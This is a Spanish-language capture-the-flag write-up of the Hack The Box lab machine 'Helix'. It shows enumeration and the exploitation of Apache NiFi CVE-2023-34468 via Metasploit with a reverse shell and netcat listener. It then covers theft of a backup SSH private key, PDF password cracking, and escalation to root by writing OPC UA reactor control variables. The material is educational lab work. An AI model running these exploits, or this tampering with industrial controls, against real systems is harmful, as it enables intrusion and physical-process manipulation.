Descripción

Helix es una máquina de Hack The Box de dificultad media que cuenta con las siguientes vulnerabilidades:

  • Enumeración de subdominios para encontrar una aplicación web Apache NiFi
  • Ejecución de Comandos Remotos en NiFi a través de un controlador H2
  • Pivote de Usuario vía una clave privada SSH de respaldo
  • Escalada de Privilegios mediante una escritura en una variable de servidor OPC UA para entrar en modo de mantenimiento y desplegar una terminal root

Reconocimiento

Primero, vamos a verificar con el comando ping si la máquina está activa y cuál es el sistema operativo. La dirección IP de la máquina objetivo es 10.129.48.7.

$ ping -c 3 10.129.48.7
PING 10.129.48.7 (10.129.48.7) 56(84) bytes of data.
64 bytes from 10.129.48.7: icmp_seq=1 ttl=63 time=47.6 ms
64 bytes from 10.129.48.7: icmp_seq=2 ttl=63 time=47.3 ms
64 bytes from 10.129.48.7: icmp_seq=3 ttl=63 time=47.2 ms

--- 10.129.48.7 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 47.247/47.399/47.632/0.166 ms

La máquina está activa y con el TTL que es igual a 63 (64 menos 1 salto) podemos asegurar que es una máquina Unix. Ahora vamos a realizar un escaneo de puertos Nmap TCP SYN para verificar todos los puertos abiertos.

$ sudo nmap 10.129.48.7 -sS -oN nmap_scan
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.48.7
Host is up (0.049s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 1.60 seconds

Obtenemos dos puertos abiertos: 22 y 80.

Enumeración

Luego realizamos un escaneo más avanzado, con versión de servicio y scripts.

$ nmap 10.129.48.7 -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.48.7
Host is up (0.048s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 60:b3:f7:6c:0b:92:ab:00:ac:e7:12:e1:d1:26:9c:1e (ECDSA)
|_  256 c8:30:e6:cb:c6:cd:fc:0c:39:e5:34:04:20:07:b9:b3 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://helix.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.37 seconds

Obtenemos dos servicios: Secure Shell (SSH) y Hypertext Transfer Protocol (HTTP). Dado que no tenemos credenciales viables para el servicio SSH, vamos a pasar al servicio HTTP. Añadimos el dominio helix.htb al archivo /etc/hosts.

$ echo '10.129.48.7 helix.htb' | sudo tee -a /etc/hosts

Encontramos una página web estática sobre una empresa que ofrece sistemas de seguridad industrial. Comenzamos usando gobuster para realizar enumeración de VHost contra http://helix.htb utilizando una lista exhaustiva de subdominios:

$ gobuster vhost -u http://helix.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain -o vhost_enumeration -r -t 50
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                       http://helix.htb
[+] Method:                    GET
[+] Threads:                   50
[+] Wordlist:                  /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent:                gobuster/3.8
[+] Timeout:                   10s
[+] Append Domain:             true
[+] Exclude Hostname Length:   false
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
flow.helix.htb Status: 200 [Size: 1068]

Este escaneo reveló un subdominio: flow.helix.htb. Añadimos este subdominio al archivo local /etc/hosts:

$ echo '10.129.48.7 flow.helix.htb' | sudo tee -a /etc/hosts

Visitar http://flow.helix.htb/ nos redirigió a http://flow.helix.htb/nifi, revelando la presencia de la aplicación Apache NiFi. NiFi es un framework de código abierto que permite a los usuarios diseñar, automatizar y gestionar flujos de datos. A menudo se utiliza para conectar diversas fuentes y sistemas de datos. Al navegar por la interfaz, localizamos el menú “Acerca de” en la barra lateral. Encontramos que la versión instalada era nifi-1.21.0-RC2. Esta versión era vulnerable a una vulnerabilidad de Ejecución Remota de Código (RCE) documentada como CVE-2023-34468. La descripción de la vulnerabilidad es la siguiente: Los Servicios de Controlador DBCPConnectionPool y HikariCPConnectionPool en Apache NiFi 0.0.2 hasta 1.21.0 permiten a un usuario autenticado y autorizado configurar una URL de Base de Datos con el controlador H2 que permite la ejecución de código personalizado. La resolución valida la URL de Base de Datos y rechaza las ubicaciones JDBC H2. Se recomienda actualizar a la versión 1.22.0 o posterior, lo cual soluciona este problema.

La aplicación no requería autenticación, lo que nos permitió explorar la sección Operate y acceder a la configuración a través del icono de engranaje. En la sección Controller Services, identificamos un servicio activo llamado MaintenanceDB. Al inspeccionar su configuración, notamos que era una conexión a una base de datos H2. Dado que la vulnerabilidad está relacionada con las conexiones a bases de datos H2, anotamos el parámetro Database Driver Location(s): /opt/nifi-1.21.0/lib/h2-2.1.214.jar, que sería crucial más adelante en la fase de explotación. Encontramos una Prueba de Concepto (PoC) para esta vulnerabilidad a través del módulo apache_nifi_h2_rce en Metasploit. Lanzamos Metasploit y configuramos el exploit. Establecimos deliberadamente un DELAY alto para permitir tiempo para modificar un valor necesario en la interfaz web.

Explotación

Utilizamos el framework Metasploit para ejecutar el exploit RCE contra la instancia NiFi vulnerable.

$ msfconsole
msf exploit(linux/http/apache_nifi_h2_rce) > show options

Configuramos las opciones de explotación:

msf exploit(linux/http/apache_nifi_h2_rce) > set RHOSTS flow.helix.htb
RHOSTS => flow.helix.htb
msf exploit(linux/http/apache_nifi_h2_rce) > set RPORT 80
RPORT => 80
msf exploit(linux/http/apache_nifi_h2_rce) > set LHOST tun0
LHOST => 10.10.14.238
msf exploit(linux/http/apache_nifi_h2_rce) > set DELAY 120
DELAY => 120
msf exploit(linux/http/apache_nifi_h2_rce) > set SSL false
msf exploit(linux/http/apache_nifi_h2_rce) > run
[*] Started reverse TCP handler on 10.10.14.238:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Apache NiFi instance does not support logins
[+] DB Connection Pool Created successfully
[+] DB Connection Pool Start sent successfully
[+] Processor Start sent successfully

Después de que el exploit se ejecutara con éxito, observamos que un nuevo y aleatorio Controller Service había sido creado por Metasploit con un estado Invalid. Detuvimos y deshabilitamos este servicio a través de la interfaz de usuario web. Luego accedimos a las propiedades de configuración del servicio y realizamos una modificación crucial: cambiamos el Database Driver Location(s) de /opt/nifi/nifi-toolkit-current/lib/h2-2.1.214.jar de vuelta a la ruta original: /opt/nifi-1.21.0/lib/h2-2.1.214.jar. Finalmente, reactivamos el servicio. En segundos, el manejador de Metasploit recibió una terminal interactiva exitosa. Si no recibimos la terminal interactiva, abrimos un puerto TCP de escucha con netcat después de que haya expirado el tiempo de retardo.

$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.238] from (UNKNOWN) [10.129.48.7] 44390
id
uid=998(nifi) gid=998(nifi) groups=998(nifi)

Obtuvimos con éxito una terminal como el usuario nifi.

bash -i
bash: cannot set terminal process group (976): Inappropriate ioctl for device
bash: no job control in this shell
nifi@helix:/opt/nifi-1.21.0$ grep sh /etc/passwd
grep sh /etc/passwd
root:x:0:0:root:/root:/bin/bash
fwupd-refresh:x:111:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
operator:x:1001:1001::/home/operator:/bin/bash

De esta terminal, identificamos dos usuarios con terminales interactivas: root y operator. Buscamos en el directorio /opt archivos de respaldo con la extensión .bak:

nifi@helix:/opt/nifi-1.21.0$ find /opt/ -name *.bak
find /opt/ -name *.bak
find: ‘/opt/helix’: Permission denied
/opt/nifi-1.21.0/support-bundles/operator_id_ed25519.bak

Encontramos un archivo que parecía ser una clave SSH privada para el usuario operator.

nifi@helix:/opt/nifi-1.21.0$ cat /opt/nifi-1.21.0/support-bundles/operator_id_ed25519.bak
<nifi-1.21.0/support-bundles/operator_id_ed25519.bak
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
...
AAAEBWd4qZPQ48ePEdHec/Fquwu8Apm+TkeJJTwODupeRtwui4R6+1dAvmm4wQ9DMwYSj8
tKtsROxZUMfwHjVUc1s7AAAAD3Jvb3RAbWFuYWdlbWVudAECAwQFBg==
-----END OPENSSH PRIVATE KEY-----

Post-Explotación

Transferimos la clave privada a nuestra máquina local, establecimos los permisos correctos, y la usamos para iniciar sesión como operator:

$ nano operator_id_ed25519.bak
$ chmod 600 operator_id_ed25519.bak
$ ssh -i operator_id_ed25519.bak operator@helix.htb
...
operator@helix:~$ id
uid=1001(operator) gid=1001(operator) groups=1001(operator)

El directorio operator contenía un archivo PDF, Operator Control & Safety Guide.pdf.

operator@helix:~$ ls
'control systems diagram.png'  'Operator Control & Safety Guide.pdf'   user.txt

Descargamos el PDF usando SCP:

$ scp -i operator_id_ed25519.bak operator@helix.htb:'/home/operator/Operator Control & Safety Guide.pdf' .

El PDF estaba protegido por contraseña. Usamos pdf2john y John The Ripper para recuperar la contraseña:

$ pdf2john Operator\ Control\ \&\ Safety\ Guide.pdf > hash
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash
...
operator1        (Operator Control & Safety Guide.pdf)     
1g 0:00:00:38 DONE 0.02613g/s 6905p/s 6905c/s 6905C/s papermoon..nsyncrox
Session completed.

Tras analizar el PDF, aprendimos sobre el Sistema de Control del Reactor Helix: Sobre la Seguridad del Sistema, el sistema está diseñado de modo que la seguridad siempre tenga prioridad sobre el control del operador. Para entrar en Modo de Mantenimiento, un operador debe cambiar explícitamente el Modo a MAINTENANCE, habilitar TestOverride y Comenzar el ajuste controlado usando CalibrationOffset. Una “Ventana Operativa de Mantenimiento” específica se abre cuando la temperatura alcanza aproximadamente 295°C O la Presión 73 bar, siempre que no haya un paro de seguridad activo. Las variables de seguridad no pueden ser anuladas directamente por los operadores; el PLC evalúa la seguridad del lado del servidor.

También comprobamos los privilegios sudo -l para el usuario operator:

operator@helix:~$ sudo -l
Matching Defaults entries for operator on helix:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User operator may run the following commands on helix:
    (root) NOPASSWD: /usr/local/sbin/helix-maint-console

El usuario operador podía ejecutar /usr/local/sbin/helix-maint-console como root sin contraseña. Inspeccionamos el script:

operator@helix:~$ cat /usr/local/sbin/helix-maint-console
#!/bin/bash
set -euo pipefail

FLAG="/opt/helix/state/maintenance_window"

read_until() { cat "$FLAG" 2>/dev/null || true; }

window_ok() {
  [ -f "$FLAG" ] || return 1
  local until_ts now
  until_ts="$(read_until)"
  now="$(date +%s)"
  [[ "$until_ts" =~ ^[0-9]+$ ]] || return 1
  [ "$now" -lt "$until_ts" ] || return 1
  return 0
}

if ! window_ok; then
  echo "Maintenance window CLOSED."
  exit 1
fi
# ... Rest of the script launches root shell if window is OK

Este script confirma que un terminal root es concedido solo si el flag de ventana de mantenimiento está configurado correctamente (la hora actual es antes de until_ts). Encontramos un archivo, control systems diagram.png, que contenía información sobre un servidor OPC UA local que se ejecuta en opc.tcp://127.0.0.1:4840/helix. Confirmamos que el servidor estaba activo y no autenticado con el paquete de Python asyncua:

$ uadiscover -u opc.tcp://127.0.0.1:4840

Performing discovery at opc.tcp://127.0.0.1:4840

Server 1:
  Application URI: urn:freeopcua:python:server
  Product URI: urn:freeopcua.github.io:python:server
  Application Name: LocalizedText(Locale=None, Text='FreeOpcUa Python Server')
  Application Type: 2
  Discovery URL: opc.tcp://127.0.0.1:4840/helix/

Endpoint 1:
  Endpoint URL: opc.tcp://127.0.0.1:4840/helix/
  Application URI: urn:freeopcua:python:server
  Product URI: urn:freeopcua.github.io:python:server
  Application Name: LocalizedText(Locale=None, Text='FreeOpcUa Python Server')
  Application Type: 2
  Discovery URL: opc.tcp://127.0.0.1:4840/helix/
  Server Certificate: [no certificate]
  Security Mode: 1
  Security Policy URI: http://opcfoundation.org/UA/SecurityPolicy#None
  User policy: anonymous
    Token type: 0
    Security Policy URI: http://opcfoundation.org/UA/SecurityPolicy#None

Recorrimos los nodos e identificamos las rutas críticas: Reactor Variables (ns=2;i=2) con Temperature (ns=2;i=4) y CalibrationOffset (ns=2;i=6). Y Control Variables (ns=2;i=11) con Mode (ns=2;i=12) y TestOverride (ns=2;i=13).

$ uabrowse -u opc.tcp://127.0.0.1:4840/helix --path 0:Objects
Browsing node i=85 at opc.tcp://127.0.0.1:4840/helix

DisplayName                    NodeId                    BrowseName                Value                    

LocalizedText(Locale=None, Text='Locations') i=31915                   0:Locations              
LocalizedText(Locale=None, Text='Server') i=2253                    0:Server                 
LocalizedText(Locale=None, Text='Aliases') i=23470                   0:Aliases                
LocalizedText(Locale=None, Text='Plant') ns=2;i=1                  2:Plant


$ uabrowse -u opc.tcp://127.0.0.1:4840/helix --nodeid "ns=2;i=1"
Browsing node ns=2;i=1 at opc.tcp://127.0.0.1:4840/helix

DisplayName                    NodeId                    BrowseName                Value                    

LocalizedText(Locale=None, Text='Reactor') ns=2;i=2                  2:Reactor                
LocalizedText(Locale=None, Text='Safety') ns=2;i=7                  2:Safety                 
LocalizedText(Locale=None, Text='Control') ns=2;i=11                 2:Control

$ uabrowse -u opc.tcp://127.0.0.1:4840/helix --nodeid "ns=2;i=2"
Browsing node ns=2;i=2 at opc.tcp://127.0.0.1:4840/helix

DisplayName                    NodeId                    BrowseName                Value                    

LocalizedText(Locale=None, Text='TemperatureRaw') ns=2;i=3                  2:TemperatureRaw         , 283.99936596466557
LocalizedText(Locale=None, Text='Temperature') ns=2;i=4                  2:Temperature            , 283.99936596466557
LocalizedText(Locale=None, Text='Pressure') ns=2;i=5                  2:Pressure               , 68.99980273649386
LocalizedText(Locale=None, Text='CalibrationOffset') ns=2;i=6                  2:CalibrationOffset      , 0.0

$ uabrowse -u opc.tcp://127.0.0.1:4840/helix --nodeid "ns=2;i=11"
Browsing node ns=2;i=11 at opc.tcp://127.0.0.1:4840/helix

DisplayName                    NodeId                    BrowseName                Value                    

LocalizedText(Locale=None, Text='Mode') ns=2;i=12                 2:Mode                   , NORMAL
LocalizedText(Locale=None, Text='TestOverride') ns=2;i=13                 2:TestOverride           , False
LocalizedText(Locale=None, Text='ResetTrip') ns=2;i=14                 2:ResetTrip              , False

El análisis PDF mostró que CalibrationOffset puede ser escrito cuando el sistema está en Modo de Mantenimiento y TestOverride es verdadero. Para forzar el sistema a la ventana de mantenimiento, usamos uawrite para manipular los valores OPC UA. Configuramos Mode a MAINTENANCE, Test Override a true y aumentamos el Calibration Offset, por ejemplo a 15.0.

$ uawrite -u opc.tcp://127.0.0.1:4840/helix --nodeid "ns=2;i=12" MAINTENANCE
$ uawrite -u opc.tcp://127.0.0.1:4840/helix -n "ns=2;i=13" true
$ uawrite -u opc.tcp://127.0.0.1:4840/helix -n "ns=2;i=6" 15.0

Verificamos la lectura de temperatura:

$ uabrowse -u opc.tcp://127.0.0.1:4840/helix --nodeid "ns=2;i=2"
...
LocalizedText(Locale=None, Text='Temperature') ns=2;i=4                  2:Temperature            , 299.3883619244694
...
LocalizedText(Locale=None, Text='CalibrationOffset') ns=2;i=6                  2:CalibrationOffset      , 15.0

La temperatura aumentó de 284 ºC a 299 ºC, superando la condición de la ventana de mantenimiento (aproximadamente 295 ºC o Presión 73 bar). La ventana de seguridad está ahora abierta. Con la ventana de mantenimiento activada con éxito, ahora podemos ejecutar la consola privilegiada como el usuario operator:

operator@helix:~$ sudo /usr/local/sbin/helix-maint-console
[+] Privileged maintenance access granted
[!] Window expires in 115 seconds
[!] Session will be terminated automatically
root@helix:/home/operator#
uid=0(root) gid=0(root) groups=0(root)

Escalamos privilegios con éxito para obtener la terminal root.

Flags

En la terminal podemos recuperar las flags user.txt y root.txt.

root@helix:/home/operator# cat /home/operator/user.txt 
<REDACTED>
root@helix:/home/operator# cat /root/root.txt 
<REDACTED>